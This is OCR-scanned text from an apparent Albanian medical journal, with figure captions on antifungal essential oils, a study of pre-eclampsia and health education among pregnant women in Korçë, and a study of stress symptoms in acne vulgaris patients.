FSHN 0 37 13 62
Kafe 0 7 0 7
Mjedis 0 4 3 6
hedhurinash
Rrugé e 0 2 15 9-koloni
garkulluar té
médha
Zona 0 15 182 198
“Frigorifer”
Dispanceria 1 3 1 11
Urgjenca e 0 6 5
spitalit
Pediatria 0 5 0
Infektivi 0 3 0 7
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Fig.1 Inhibimi i mykut Aspergillus flavus nén veprimin e esencés dhe ujérave
aromatike

Fig.2 Veprimi i esencés dhe ujérave aromatike mbi mykun Chrysonilia
citophylia.

Diametrat
e kolonive

Kolonite
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Fig. 4 Rezultatet e inhibimit nga esenca me hidrodistilim e T7hymus
vulgaris
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PRE -EKLAMPSIA, EKLAMPSIA DHE EDUKIMI SHENDETSOR
LinditaTerolli*, Elda Panariti?
Departamenti ilnfermierisg, Universiteti Fan. S. Noli, Korcé

Pérmbledhje

Pre-eklampsia éshté njé sindrom maternal Imulti sistemik gé komplikon 3-8% té
shtatzanive.Qéllimi:Identifikimi i nivelit t&¢ edukimit shéndesor, | faktoréve dhe i
rrethanave gé ndikojné né kéto crregullime. Materiali dhe metoda: Lloji i studimit
deskriptiv, drejtimi i studimit prospektiv. U studiuan 32 subjekte; gra shtatzéna té
diagnostifikuara dhe té trajtuara pér Pre-eklampsi, Eklampsi dhe Hellp-sindrom, té
hospitalizuara né shtépiné e lindjes né Korcé pér periudhén kohore 2011-2012 dhe u
krahasuan me prevalencen e ¢rregullimeve hipertensive pér periudhén 2006-2010.U
intervistuan 544 gra shtatzéna dhe jo shtatzéna. Té dhénat u pérpunuan me t-testin
dhe rezultuan me p. <0, 05.Rezultatet:U analizuan faktorét: /mosha e shtatazanise,
mosha e gruas, pariteti, numri I fetuseve, dieta dhe njohurité pér riskun e grregullimet
hipertensive. Pérfundime:Komplikacionet mund té parandalohen me monitorimin e
rregullt té shtatzanisé, me trajtimin né kohé t& ¢rregullimeve dhe me rritjen e nivelit
té edukimit shéndetésor.

Fjalét kyc: Pre-eklampsi, vdekshméri fetale, komplikacionet amtare
Abstract

Pre-eclampsia is a maternal multi systemice syndrome that complicates 3-8% of
pregnancies.Aim: Identification of the health education level, of factor and
circumstances that affect this disordes. Material and methods: Type of the study,
descriptive, direction of the study, prospective. There were studied 32 subjectes;
pregnant women diagnosed and treated for Pre-eclampsia, Eclampsia and Hellp-
Syndrome, hospitalized in the house of birth in Korca during the period 2011-2012
and compared with the prevalence of the pathologies in the period 2006-2010. The
were interviewed 544 pregnant women and non-pregnant. The data is elaborated with
thet -test and resulted with p<0. 05. Results: Were analysed the factors: pregnancy
age, womanage, parity, the number of fetuses, he diet and knowledge about the
complications of hypretensive. Conclusions: The complications can be prevented by
a regular monitoring of the pregnancy, by the treating in time of the mand by
increasing their health educationlevel. Key-words: Pre-eklampsi, fetal mortality,
matenal complications.

Hyrje:
Konsiderata té pérgjithshmepér ¢crregullimet hipertensive

Pre-eklampsia éshté njé problem global gé zhvillohet né njé numér prej 8.3 milion
femrash né vit.Klasifikimii ¢rregullimeve hipertensive: Hipertension Kronik
pérkufizohet hiperetensioni me parametrat prej 140/90 mmHg i diagnostikuar
pérpara shatzanisé ose pérpara javés sé 20, si dhe HTAI diagnostifikuar fillimisht
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gjaté shtatzanisé dhe gé persiston gjaté shtatzanisé dhe pér 42 dité pas lindjes. HTA
gestacional, TA prej 140, 90 ose kur rritet mé shumé pas javés sé 20 té barrés ose
24 orét e para pas lindjes me njé barré normale. Kjo, kthehet né normé pas lindjes.
Pre-eklampsia éshté konsideruar né ményré konvencionale si njé crregullim
maternal né té cilén fetusi éshté aksidentalisht pjesémarrés.Ndryshimet placentare
shkaktojné té dyja sindromata té maternal dhe fetal. Pre-eklampsiae lehtg,
hipertensioni éshté 140\90mmHg ose presioni sistolik shkon mbi nivelin normal, me
ose pa edema lokale né ekstremitetet e sipérme ose né fytyré.Proteinuri (300mmg/
24 oré).Pre-eklampsia e réndé :1 —Hipertensioni né rregjim shtrati160 /110mmHg
e pérséritur dy heré né interval prej 6 orésh 2-Proteinuri 5gr/24oré. 3- Oligouria, né
njé sasi mé pak sé 400ml/24oré. 4- Edema periferike. 5-Crregullime té pamjes ose
cerebralegé rezolton me dhimbje koke, dhimbje epigastrike démtim té vizualitetit
dhe/ose té vjella.6-Edemé pulmonare me cianozé. 7- Prekje té funksionit hepatic. 8-
Trombocitopeni dhe fenomene té rénda hemorragjike. Edemat nuk jané mé kriter
diagnostikimi. Eklampsi éshté shfagja me konvulsioneté gjeneralizuara gjaté
shtatzanisé, gjaté lindjes deri né 7 dité pas lindjes.Eklampsia konsisiton né praniné e
konvulsioneve, té komeés ose té dyja sé bashku. Disfunksion té heparit;Proteinuri dhe
disfunksion  renal;Permeabilitet  vaskular  jonormal;Aktivizimi  koagulimit;
Vdekshméria fetale gjaté shtatzanisé né studimet e béra rezulton
12%.Komplikacionet amtare pérfshijné edemé pulmonar, pneumoni aspirative,
distako e placentas me hemorragji, insuficiencé kardiake, hemorragji intrakraniale,
dhe fotofobi.Konvulsioni eklamptik prek sistemin nervor géndror, funksionin
hepatik, renal, kardiovaskular dhe hematologjik.Pérgindja e fatalitetit éshté 1.8%. -
35% e grave me eklampsi vuajné njé komplikim té réndé. Hemorragjia cerebrale si
komplikacion i i hipertensionit mbetet njé shkak i dukshém vdekjeprurés pér
nénén..HELLP — Sindrom éshté njé formé e réndé e Pre-eklampsisé gé konsiston:
né hemolizé, né rritje té enzimave hepatike, trombocite té ulura (<100 000)
disfunksion dhe ne krozé hepatike, errésim i arsyes, dhimbje abdominale, koagulimi
intravaskulari disiminuar. Studimet tregojné se kéto crregullime té rénda
hipertensive vihen re mé shpesh tek graté mé ngjyré, -tek barat gemelare. Té
predispozuara jané mosha nén 20 vje¢ té grave shtatzéna dhe moshat mbi 35-vjec.
Patologjité té tjera si patologjité kardiake dhe diabetie ndérlikojné shtatzaniné.
Studimet e fundit tregojné se shtatzénat e lindura nga nénat me shtatzani
problematike si dhe né lindje te parakohshme, pérbéjné pjesén mé té madhe té
rasteve té Pre-eklamsive dhe komplikacioneve té tjera gé rrezikojné jetén. Zhvillimi
i Pre-eklampsisé ndodh né dy faza : 1-varféria placentare éshté pasojé e dy
lezioneve: lezioni i pare quhet deficienca placentare qé pérfshin njé humbje relative
té njé rimodelimi structural intrauterin (midis javés sé 8 — 18 té shtatzanisgé), lezioni
| dyté né spiraled arteriale“atherosis acute” té pérbéra nga agregate té fibrinés,
trombocitet dhe makrofaget, té cilat pjesérisht ose plotésisht bllokojné arteriet duke
kufizuar garkullimin utero- placentar. 2- Faza e dyté konsiston né clirimin e
faktoréve antigjenik nga placenta e shogéruar me disfunksionin endotelial. Kéto
ndyshime pérfagésojné sindrominfetal gé ¢on né vuajtjen fetale.Sindromi maternal
éshté si rezultat i pasojave té disfunksionit té sistemit endothelial maternal,
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vazospazmave (€ mund té cojné né Pre-eklapsiné e réndé.Parandalimi | Pre-
eklampsisé: studimi yné tregoi se tek graté shtatzéna qé éshté pérdorur Sulfat
Magnezi(pér parandalimin espazmave)ka rezultuar rrezik té ulét prej 58% mé pak
Eklampsi, vdekshmérimé e ulét amtare. Incidenca ishte mé e vogél pér distastako té
placentés.Né studimet e béra né shumé vende ka treguar se pérgjysmohet rreziku i
Pre-eklamsisé, ulet sémundshméria e réndé dhe vdekshméria amtare me shtimin e
kalciumit né dietén e grave né rrezik pér hypertension veganérisht né komunitetet gé
e marrin me pakicé Ca. Shtimi i hekurit, foliateve, magnezit, zingut ose vajit té
peshkut, kufizimi i kripés dhe i 1&ngjeve ulin gjithashtu rrezikun pér komplikacione.
Metodé e efektshme mendohet té jeté edhe pérdorimi i aspirinés75mg\dité, gé mund
té pérdoret né grup me rrezik té larté dhe ka njéfaré efekti né parandalimin e Pre-
eklampsisé.

Qéllimi i studimit :.
Identifikimi faktoréve dhe rrethanave g€ ndikojné né crregullimet
hipertensive.
Identifikimi i nivelit té edukimit shéndetésor pér crregullimet e mésipérme
té shtatzanisé.
Identifikimi i grupeve me risk té larté pér té hartuar njé program
parandalimi.
Mbledhja e informacionit té vliefshém pér planifikimin e edukimit té nénave
té reja dhe familjaréve té tyre pér parandalimin e komplikacioneve.
Evidentimi i masave pér uljen e rasteve té ¢rregullimeve hypertensive.
Parandalimi i crregullimeve té rénda hypertensive gjaté shtatzanisé dhe
gjaté lindjes.

Objektiva té pérgjithshém :

Mémésia e sigurt dhe kujdesi efektiv perinatal-Shéndeti amtar dhe foshnjor
Vlerésimi i lidhjeve midis faktoréve dhe rrethanave favorizuese pér
crregullimet hypertensive

Objektiva specifiké:

Té njohim faktet lidhur me ecuriné e ¢rregullimeve si dhe me pasojat dhe

komplikacionet.

Té njohim faktet e parandalimit dhe té trajtimit t€ c¢rregullimeve

hipertensive.

Té hartojmé né bashképunim me personelin pérkatés planin e masave pér

edukim, mbéshtetje mé té ploté dhe késhillimin e grave pér t’u vetékujdesur.

T’i mésojmé gruas se ¢faré duhet té dijé pér shéndetin e saj dhe fémijén esaj
Sfondi né té cilin ngrihet studimi: literaturéngapublikimet e autoréve té ndryshém,
intervistuesit, ndihma dhe eksperienca e personelit né shtépiné e lindjes né Korgé si
dhe kartelat mjekésore té pacientéve
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Materiali dhe metodat.: Lloji | studimit ishte deskriptiv, drejtimi i studimit ishte
prospektiv. U studiuan 32 subjekte; gra shtatzénaté diagnostifikuara dhe té trajtuara
pér Pre-eklampsi, Ekalmpsi dhé Hellp-Sindrom, té hospitalizuara né Shtépiné e
Lindjes né Korcé, pér periudhén kohore2011-2012.U bé dhe krahasimi i rezultateve
me prevalencén e ¢rregullimeve hipertemsive pér periudhén 2006-2010. Té dhénat u
pérpunuan met- testin dhe rezultuan me p<0, 005. Rezultatet u analizuan vegmas sipas
moshés sé pacientéve, shpérndarjes sé vlerave té hipertensionit né mosha té ndryshme
té shtatzanisé, sipas numrit té fetuseve, numrit té lindjeve, statusit té tyre social,
vendbanimit té pacientéve dhe sipas llojit t&¢ crregullimit. U intervistuan 272 gra
shtatzéna dhe 272 gra jo shtatzéna pér njohuri té mbi komplikacionet e patologjive
hypertensive té shtatzanisé. Pér anketimet u pérdort ipi i studimit KROS-
SEKSIONAL (transversal).

Rezultatet:

Gjetjet mé té réndésishme té studimit jané demostruar né 9 grafiké dhé né njé tabelé.
Studimi népérmjett-testit, rezultoime p<0.05tregoi qarté pér njé lidhje t€ ngushté té
crregullimeve hypertensive té shtatzanisé me faktorét: pariteti, mosha e shtatzanisé,
numri i fetuseve, numri | lindjeve dhe dieta e pérdorur nga pacientét. Pacientét me
banim né fshat kishin njohuri sinjifikativisht mé té kufizuara mbi crregullimet
hypertensive té shtatzanisé krahasuar me pacientet me banim né gytet.Mesatarja e
njohurive pér pacientetet me banim ne fshat rezulton 5.0 kundrejt 5.9 té pacienteve me
banimné gytetp<0, O01.Niveli i arsimimit ishté i lidhur fort né ményré lineare me
nivelin e njohuri vepér crregullimet hypertensive, tendenca lineare p<0.01. Niveli i
ulét ekonomik | pacientéve ishte i shogéruar me njé nivel mé té kufizuar njohurish
krahasuar me pacientet me nivel mé té mire ekonomik.
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Grafiku 1.Crregullimet hypertensive pér periudhén 2 vjecare 2011-2012
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Pjesa mé e madhe e rasteve | takon Pre-eklampsisé sé lehté. Por jané shtuar raste te
Pre-eklampsisé sé réndé, Eklampsisédhe HELLP-Sindrom té cilat rezultuan pér
komplikacione té rénda deri me vdekje fetale dhe me njé rast vdekje amtare.

Grafiku 2. Crregullimet hipertensivené?2 vite
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Né vitin 2012vihet re rritja e numrit té rasteve té Pre-eklampsisé sé lehté, rritje té
numrit té rasteve me Pre-eklamsi té réndési dhe me shumé rast e me hypertension
pre ekzistues.
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Grafiku 3.Komplikacionet e ¢crregullimeve Hipertensive né 7 vite
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Né 2 vitet e fundit vihet re rritje e numrit té rasteve té Pre-eklampsisé sé réndé formé
e cila mund té ¢ojé né Eklampsiku rrrezikohet jeta e bebit dhe nénés.Né vitin 2011
dhe 2012 pati dhe raste t&¢ HELLP-Sindrom, komplikacioni réndé gé rrezikon jetén e
bebit dhe té nénés.

Grafiku 4.Numri irasteve sipas moshés sé pacienteve

Nr. i rasteve sipas moshés sé pacientéve
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Mosha nén 20 vje¢ dhe mbi 30 vje¢ jané moshat me predispozicion mé té madh pér
crregullime hipertensive.
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Grafiku 5.Numri i rasteve dhe pariteti
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Primiparet jané pjesa mé e madhe e rasteve72%.Krahasuar me multiparet (lindja e
dyté, e treté dhe e katért).

Grafiku6.Numri i rasteve sipas moshés sépacienteve
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Tédhénat e paragitura né kété studim sugjerojné pér njé numér mé té madh rastesh té
crregullimeve hipertesivené moshén 37-40 javé té shtatzanisé. Pre-eklampsiané
pjesén mé té madheté rasteve vihetre pasjavés sé 20té shtatzanisé. Pérsa i takon
numrit té fetuseve 3 raste ishin barra binjakedhe ato pérbénin 509%té rasteve té
pégjithshme té barrave binjakepér periudhénkohore 2011-2012.
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Grafiku 7.Numri | rasteve sipas vendbanimit
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Nga numri i pérgjithshém i pacientéve62% e pacientéve ishin me vendbanim né
fshat dhe37% me vendbanim né gytet.

Rastet e studiuara flasin pér njé incidence mé té madhe té Pre-eklampsisé né fshat
(62% né fshat dhe 38% né qgytet).Ato nuk kishin informacion pér ¢rregullimet dhe
paragiteshin né maternitet né njé gjendje té rénduar pas lindjes né shtépité e tyre pa
asistencé mjeksore vetém né praniné e familjaréve.Edukimi dhe instruktimi i tyre
éshté shumé i réndésishém pér té kryer procesin e lindjes né shtépiné e lindjes nén
mbikgyrjen dhe kujdesin e personelit mjekésor.Edhe rastet e Eklampsisé kané
rezultuar si pasojé e Pre-eklampsisé té avancuar gjaté procesit té lindjes pa asistencé
mjeksoré.

Né intervistat e kryera rezultoi sé né dietén e shtatzéna vepérdoreshin ushgime té
konservuara me njé sasi kripe mbi normé. Numri i rasteve té komplikacioneve
rezultonin né muajt e dimrit dhe t& pranverés.Né kété periudhé kohore éshté meé i
madh pérdorimi i ushgimeve té konservuara me pérmbajtje té madhe té kripés dhe
pérdorimi | frutave dhe perimeve éshté i pakté.Kjo lloj diete pérdret mé tepér nga
popullata né fshat
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Grafiku8.Shpérndarja e vlerave té presionit sistolik pér periudhén: -
paralindjes-gjatélindjes- paslindjes

Grafiku 9.Shpérndarja e vlerave té presionit diastolic pér periudhén - para
lindjes- gjatélindjes- paslindjes

Shpérndarja e vlerave té presionit sistolik dhe diastolikté shprehur né 2grafikét e
mésipérm, tregojné se paralindjes ishte pjesa mé e madhe e rasteve té ¢rregullimeve
hipertensive.

Anketimi

U anketuan 544 gra nga té cilat 272 shtatzéna dhe 272 jo shtatzéna, té& moshave nga
15-60 vjec pér njohurité e tyre mbi ¢rregullimet hypertensive té shtatzanisé dhe
komplikacionet e c¢rregullimeve hipertensive. Anketueset ishin paciente dhe
shogérueset e pacienteve.
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Tabela 1.Njohurité mbi ¢rregullimet hipertensive téshtatzanisé

Faktori socio-demografik
Mesatarja 95%ClI P
Mosha( né vite) 0.72(2)
a 15-25 5.4 5.5-5.9 0.22
a 26-35 5.7 5.4-5.8 0.36
a =36 5.6 5.1-5.9 Referencé
Vendbanimi
a Fshat 5.0 4.8-5.4 <0.01
a Qytet 5.9 5.7-6.3 Referencé
Arsimi i anketueseve <0.01(2)
a | ulét (<8vjet) 5.3 5.0-5. 4 <0.01
a | mesem(9- 5.8 5.5-6.0 <0.01
12vjett 6.0 5.8-6. 2 Referencé
a |larté(>12 vjet)
Niveli ekonomik <0.01(2)
a lulét 5.3 5.0-5.4 <0.01
a | mesém 5.8 5.5-6.0 0.18
a |llarte 6.0 5. 8-6. 2 Referencé

Té tjera rezultate:-Oksigjeni éshtépérdorur né27% té rasteve.
-Diazepamiéshtépérdorur né 92% térasteve.

-Sulfat magnezi né 100%té rasteve.

-Adalati 91%.

-Atenololi92%.

-Lindje me sexio Cezarea 85%.

-Komplikacione:-Distakoeplacentésné5. 5% té rasteve-Eklampsiané 6.2%té
rasteve.-HELLP-Sindrom6. 2% té rasteve.Zvogélimii rritej intrauterine?
raste.Asfikiin trauterine dhe vdekshméria fetaleishté12%.-Vdekshméria amtaré
ishte3. 3%. Riskui larté15 riski lartéose47% epacientéve. Urgjencé pérbénin
130se40%:té rasteve hemorragjia cerebrale si komplikacion i hipertensionit mbetet
njé shkak i dukshém vdekjepruréspér nénén. Kufizimi i perfuzionit utero-placentar
éshté shkaku i vdekshmérisé fetale.

Pérfundimetl.

Pasanalizés sé rezultateve té fituara dhe krahasimit té tyre me rezultatet e ngjashme
me autoré té huaj mund té nxjerrim disa pérfundime, komplikacionet e Pre-
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eklampsisé mund té marrin jeténe bebit dhe té rrezikojné jetén e nénés, duhen
sugjeruar masat pér té ulur rastet dhe komplikacionet 2. Monitorimi i vazhdueshém,
identifikimi dhe klasifikimii shtatazanivesipas shkallés sé problemeve. 3. Krijimi i
njé protokolli bazé gjaté kujdesit antenatal sipas gjendjes sé pacientéve. 4.
Informimi i grave shtatzéna, veganérisht primiparetsité vlerésojné TA-né dheshenja
té tjera qé shpesh paraprijné Pre-eklampsiné. Informimi edhe i familjarévepér
komplikacionet e crregullimeve hypertensive.5. Té instruktohenshtatzénat edhe
familjarét e tyre pér vetévlerésimin eTA-s&, pér vetévlerésimin e edemave, pér
sasiné dhe ngjyrén normale ose jo té urinés.
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“AKNE VULGARIS DHE SIMPTOMAT E STRESIT NE PACIENTET ME
KETE PATOLOGJI “

Refatllari B.!, Gjyzari A.', Canaj F.?, Pipero P.°, Kuneshka L.}, Lufi A.*

Universiteti Mjekésor i Tiranés, Universiteti i Sporteve té Tiranés, Qendra
Spitalore Universitare “ Néné Tereza”, Spitali Ushtarak Qendror Universitar

Pérmbledhje

Akne vulgaris éshté njé crregullim kronik i folikulit pilosebac té [ékurés.
Karakteristikat klinike t& aknes pérfshijné seborreng, komedonet, papulat,pustulat,
noduset, cistet dhe cikatricet. Lezionet, mé sé shpejti, zhvillohen né zonat me
pérgqdendrim mé té larté té gjendrave té yndyrés, té cilat pérfshijné fytyrén, gafén,
kraharorin, pjesén e sipérme té krahéve dhe shpinén. Nése mbetet pa u trajtuar, akne
mund té keté njé ndikim té thellé psikologjik dhe emocional.

Qéllimi: Qé&llimi i kétij studimi éshté té vlerésojé ndikimin e akne vulgaris dhe
gravitetit t€ saj né nivelin e simptomave té stresit si dhe rolin e faktoréve
sociodemografike té tillé si mosha, gjinia, statusi civil, punésimi dhe arsimimi né
shfagjen e kétyre simptomave.

Metodologjia: Né studimin toné morén pjesé 382 pacienté me akne vulgaris ( 231
femra dhe 151 meshkuj) dhe 310 individé té shéndetshém ( pa akne), t&é moshés 18-
35 vje¢, vlera mesatare (xSD) 21.5 +2.6. Pér vlerésimin e simptomave té stresit né
té dy grupet e studimit ( grupin e pacientéve dhe grupin e kontrollit), u pérdor
pyetésori DASS, i bazuar mbi njé sistem pikézimi pér stresin. Té& gjithé
pjesémarrésit me pikézim 15 e lart u vlerésuan gé vuanin nga simptomat e stresit.
Graviteti i akne vulgaris u vlerésua sipas klasifikimit t& Lehmann, i cili pércakton 3
forma té aknes, té buté, t& moderuar dhe té réndé.

Rezultatet: Analiza statistikore vuri né dukje gé simptomat e stresit ishin shumé
sinjifikante te grupi i pacientéve krahasuar me grupin e kontrollit (P <0.001). Pér
mé tepér, ndryshimet né gravitetin e aknes, korreluan sé tep&rmi me rritjen e e
stresit, duke sugjeruar gé akne mund té keté njé ndikim té réndésishém mbi stresin.
Nuk u vu re ndonjé lidhje e konsiderueshme nga ana statistikore midis simptomave
té stresit dhe moshés, gjinisé, statusit civil, punésimit dhe arsimimit té pacientéve
me akne.

Pérfundime: Studimi yné theksoi gé akne vulgaris mund té jeté njé burim i
réndésishém i stresit pér pacientét gé vuajné prej saj. Graviteti i aknes éshté njé
faktor i pavarur pér zhvillimin e stresit né kété studim.

Fjalé celés: Akne vulgaris, stres, graviteti, pyetésori DASS.
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Abstract

Acne vulgaris is a chronic disorder of the pilosebaceous follicles of the skin. The
clinical features of acne include seborrhoea, comedones, erythematous papules and
pustules, nodules and cysts and scarring. Lesions most commonly develop in areas
with the greatest concentration

of sebaceous glands, which include the face, neck, chest, upper arms and back. If left
untreated, acne may have a profound psychological and emotional impact.

Purpose: The aim of the study is to assess the impact of acne vulgaris and its gravity
on the level of stress symptoms and the role of sociodermografike factors such as
age, gender, marital status, employment and education on the appearance of these
symptoms.

Methodology: In our study participated 382 patients with acne vulgaris (231 female
dhe 151 male) and 310 healthy individuals (no acne), age 18-35 years, mean (£SD)
21.5 £2.6. DASS questionnaire were used for the assessment of the stress symptoms
in both groups (the patient group and the control group) based on the scoring system
for stress. All the participants scoring 15 or above were labeled as suffering from
stress. Severity of acne vulgaris was rated according to classification developed by
Lehmann. Accordingly, cases of acne vulgaris in our patients were classified as
mild, moderate and severe acne.

Results: Statistical analysis noted that stress symptoms were very significant to the
patient group compared with the control group (P <0.001). Furthermore, changes in
acne severity correlate highly with increasing stress, suggesting that acne may have
a significant influence on stress. The symptoms of stress in patient group were not
significant in relation to the age, gender, marital status, employment and education.

Conclusions: Our study showed that acne vulgaris can be a source of significant
stress. The severity of disease is an independent predictor for the development of
stress in this study.

Hyrje

Akne vulgaris éshté njé nga sémundjet mé té shpeshta té lékurés, e trajtuar nga
dermatologét, e cila prek né ményré té konsiderueshme 85% té popullsisé né té
njéjtén kohé t& jetés sé tyre. ™ Shfagja e aknes éshté mé e zakonshme gjaté
adoleshencés dhe shpesh vazhdon né moshén e rritur. Pér shumicén e njerézve akne
zvogélohet me kalimin e kohés dhe tenton té zhduket ose sé paku té ulet nga mosha
20-25 vjeg, megjithaté nuk ka ményré pér té parashikuar se sa kohé do té duhet gé té
zhduket térésisht dhe pér disa individé akne mund té vazhdojé deri né té tridhjetat, t&
dyzetat apo dhe mé tej.! ? Akne prek mé tepér ato pjesé té lékurés, gé jané mé té
pasura me gjendra yndyrore, té tilla si fytyra, pjesa e sipérme e gjoksit dhe e shpinés.
Ajo karakterizohet nga seborrhea, ¢rregullime té keratinizimit folikular, komedone
té hapura dhe té mbyllura, papula, pustula, noduse cistike dhe cikatrice.
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Komplikacionet mé madhore té sémundjes pérfshijné démtimet fizike ( si cikatricet,
ndonjéheré dhe keloidet) dhe efektet psikosociale, té cilat mund té persistojné pér
njé kohé té gjaté pas lezioneve aktive. !

Studime té& shumta tregojné gé akne ka gené shpesh e lidhur me probleme
psikologjike té tilla si, ulje té vetévlerésimit dhe né raste ekstreme depresion ose
vetévrasje, sidomos mé té shpeshta gjaté adoleshencés, ku paraqgitja e jashtme éshté
shumé e réndésishme dhe njerézit kané tendenca pér té gené mé té pasigurt nga ana
shogérore. ™! Pacientét me akne vulgaris shpesh ankohen pér eksperienca, té cilat
jané té mbushura me ngjarje frustuese dhe stresuese pér ta.’* !

Studime té ndryshme kané treguar lidhjen e aknes me stresin, ankthin dhe
depresionin, té cilat tregojné qé akne mund té jeté njé burim i stresit dhe ankthit
sinjifikant pér mjaft pacientd me kété patologji,®® por evidenca t& ndryshme
shkencore raportojné gé stresi dhe ankthi mund té mos jené vetém rezultat i aknes,
por ato né vetvete mund té influencojné né pérkegésimin klinik té aknes. [0,
Shumé pacienté jané té gatshém té raportojné gé stresi emocional mund té
pérkeqgésojé aknen. Pérkegésimi i aknes, nga ana tjetér, mund té cojé né rritje té
stresit, késhtu gé stresi dhe akne jané té lidhur ngushtésisht né njé rreth vicioz duke
stimuluar njéri- tjetrin. Akne mund té jeté njé simptomé e stresit, por akne mund té
shkaktojé stres. Stresi psikologjik, duke pérfshiré dhe stresin né periudhén e sezonit
té provimeve mund té ngadalésojé shérimin e plagéve deri né 40% , i cili mund té
jeté njé faktor né ngadalésimin e pérmirésimit t& lezioneve té aknes. ™3 Shumé
kérkime dermatologjike kané qené fokusuar mbi ndérhyrjet terapeutike pér té
reduktuar incidencén dhe gravitetin e aknes. Trajtimi i hershém i aknes éshté i
késhillueshém pér té pakésuar ndikimin afatgjaté té saj te pacientét me kété
patologji. Pérmirésimi i aknes ka treguar qé té jeté i lidhur me reduktimin e stresit,
ankthit dhe depresionit duke guar né rritje t& imazhit té trupit te pacientét [ %29, Ta
kuptuarit nga ana e dermatologéve mbi lidhjen e ngushté té faktoréve emocionalé
me aknen do té ndihmojé né diagnostikimin e hershém té ¢rregullimeve mendore
dhe trajtimin e duhur t& pacientéve.

Qéllimi i studimit éshté té vlerésojé ndikimin e akne vulgaris dhe gravitetit té saj né
shfagjen e simptomave té stresit tek pacientét me kété patologji si dhe rolin e
faktoréve sociodermografiké té tillé si mosha , gjinia, statusi civil, arsimimi dhe
punésimi mbi shfagjen e kétyre simptomave.

Metodologji

Pér realizimin e géllimit ton&, u ndérmor njé studim transversal, né té cilin u
pérfshiné 692 persona té té 2 sekseve, prej té ciléve 382 ishin pacienté me akne
vulgaris (231 femra dhe 151 meshkuj) dhe 310 individé té shéndetshém, pa akne (
175 femra dhe 135 meshkuj). Né kété studim, subjekteve té cilét pranuan té merrnin
pjesé, iu rezervua e drejta e privatésisé sé té dhénave, si kusht i etikés pér ruajtjen e
té dhénave personale. Mosha e personave té pérfshiré né studim éshté 18 - 35 vjeg
(adultét e rinj), vleramean (xSD) 21.5+2.6.

Pér grupin e pacientéve kriteret e pérfshirjes né studim ishin diagnoza e aknes gé
pérfshin prezencén e komedoneve té hapura dhe té mbyllura, papula, pustula,
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pseudociste dhe cikatrice. Kriteret e pérjashtimit té pjesémarrésve né studimin toné,
jané: individét me sémundje té tjera té Iékurés; pacientét me histori t& njohur té
sémundjeve mendore; pacientét me sémundje somatike té tilla, si: zemra, mushkéria
dhe sémundjet e artikulacioneve, diabeti dhe epilepsia qé afektojné statusin e tyre
mendor; pacientét gé kané pérdorur medikamente lokale apo sistemike té cilat
predispozojné pér akne, 1 muaj pérpara se té referojné pér akne.

Pér realizimin e Kk&tij studimi éshté pérdorur si instrument vlerésues pyetésori i
standardizuar DASS 42, i cili pérmban 3 nénshkallé pér vlerésimin e ankthit,
stresit dhe depresionit, me nga 14 pyetje pér secilén nga nénshkallét . Né kété
studim ne i jemi referuar nénshkallés sé stresit, sipas vetédeklarimit té subjekteve,
duke u bazuar né sistemin e pikézimit pér stresin: normal ( 0-14), i lehté ( 15- 18),
mesatar ( 19-25), i réndé ( 26-33), ektremisht i réndé mbi 34 piké.

Ekzaminimi dermatologjik u bazua mbi karakteristikat klinike té sémundjes té cilat
pércaktojné diagnozén e akne vulgaris. Graviteti i sémundjes u vlerésua sipas
klasifikimit té béré nga Lehmann ™7 sipas té cilit pacientét u ndané né 3 grupe, ku
grupi i paré pérfshin pacientét me formé té lehté té aknes, grupi i dyté pacientét me
formé té mesme té aknes dhe grupi i treté pérfshin pacientét me formé té réndé té
akne vulgaris. Gjithashtu pacientét u klasifikuan sipas moshés né 4 grup-mosha: 18-
21 vjeg, 22- 25 vjeg, 26-30 vje¢ dhe 31-35 vjeg, sipas gjinisé ( femra, meshkuj),
punésimit (studenté, t& papuné, té punésuar), shkollimit ( té larté, t& mesém, té ulét)
dhe sipas gjendjes civile ( begar, t& martuar, té fejuar, té divorcuar). Né analizén
statistikore u pérdor testi chi-square dhe regresioni logjistik multifaktorial.

Rezultate

Né studimin toné u pérfshiné 692 individé, ku 310 (44.8%) ishin pa akne vulgaris
(grupi i kontrollit), 382 (55.2%) me akne vulgaris, prej té ciléve, 215 me formé té
lehté (31.1% ), 120 me formé t& mesme (17.3%) dhe 47 (6.8%) me formé té réndé té
aknes. Né grupin e kontrollit 175 (56.5%) femra, 135 (43.5% ) meshkuj; né grupin e
pacientéve 231 (60.5%) femra, 151 (39.5% ) meshkuj. Né grupin e kontrollit 127
(41.0%) studenté, 87 (28.1%) té punésuar, 96 (31%) té papuné; né grupin e
pacientéve 206 (53.9%) studenté, 77 (20.2%) té punésuar, 99 (25.9%) té papuné. Né
grupin e kontrollit 237( 76.5%) me arsim té larté, 89 (23.3%) arsim t& mesém, 17
(4.5%) arsim i ulét; né grupin e pacientéve 267 ( 72.3%) me arsim té larté, 65 (21.%)
arsim té mesém, 8 (2.6%) arsim i ulét. Né grupin e kontrollit 177 (57.1%) beqaré, 73
(23.5% ) té fejuar, 60 (19.4%) té martuar, O té divorcuar; né grupin e pacientéve 252
(66.%) beqgaré, 84 (22% ) té fejuar, 43 (11.3%) té martuar, 3 (0.8%) té divorcuar. Né
grupin e kontrollit 134 (43.2%) grup-mosha 18-21 vjeg, 86 (27.7% ) grup-mosha 22-
25 vjeg, 57 (18.4%) grup-mosha 26-30 vjeg, 33 (10.6%) grup-mosha 31-35 vjeg; né
grupin e pacientéve 203 (53.1%) grup-mosha 18-21 vje¢, 110 (28.8% ) grup-mosha
22-25 vijeg, 52 (13.6%) grup-mosha 26-30 vjec, 17 (4.5%) grup-mosha 31-35 vjeg.

Né studimin toné prevalenca e simptomave té stresit rezultoi 62 % te grupi i
pacientéve dhe 32% te grupi i kontrollit, ku né analizén statistikore duke pérdorur
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testin chi—square, niveli i simptomave té stresit rritet me rritjen e gradés sé aknes dhe
rezultoi shumé sinjifikant (p <0.001) krahasuar me grupin e kontrollit [Tabela 1.].
Tabela 1. Si ndryshon niveli i stresit i shprehur né pérgindje né varési té gradés sé
aknes

Niveli i stresit
normal | e lehté moderuar réndé extremisht i réndé
Pa akne 68.1 16.8 11 4.2 0.00
Grada e lehté 47 28.8 19.1 5.1 0.00
Grada mesatare 35.3 25.6 24.2 14.9 0.00
Grada e réndé 21.4 27.9 27.9 20.9 1.9

Figura 1. Niveli i stresit rritet né ményré sinjifikante me rritjen e gradés sé aknes

Niveli i stresit ne varesi te grades se
aknes (p<0.001)

100 -~
" _fl-.. fae Boe soe

pa akne grada e lehte grada gradae
mesatare rende
Enormal Milehte mesatar Mirende extremisht | rende

Niveli i stresit

Tabela 2. Regresioni logjistik multifaktorial
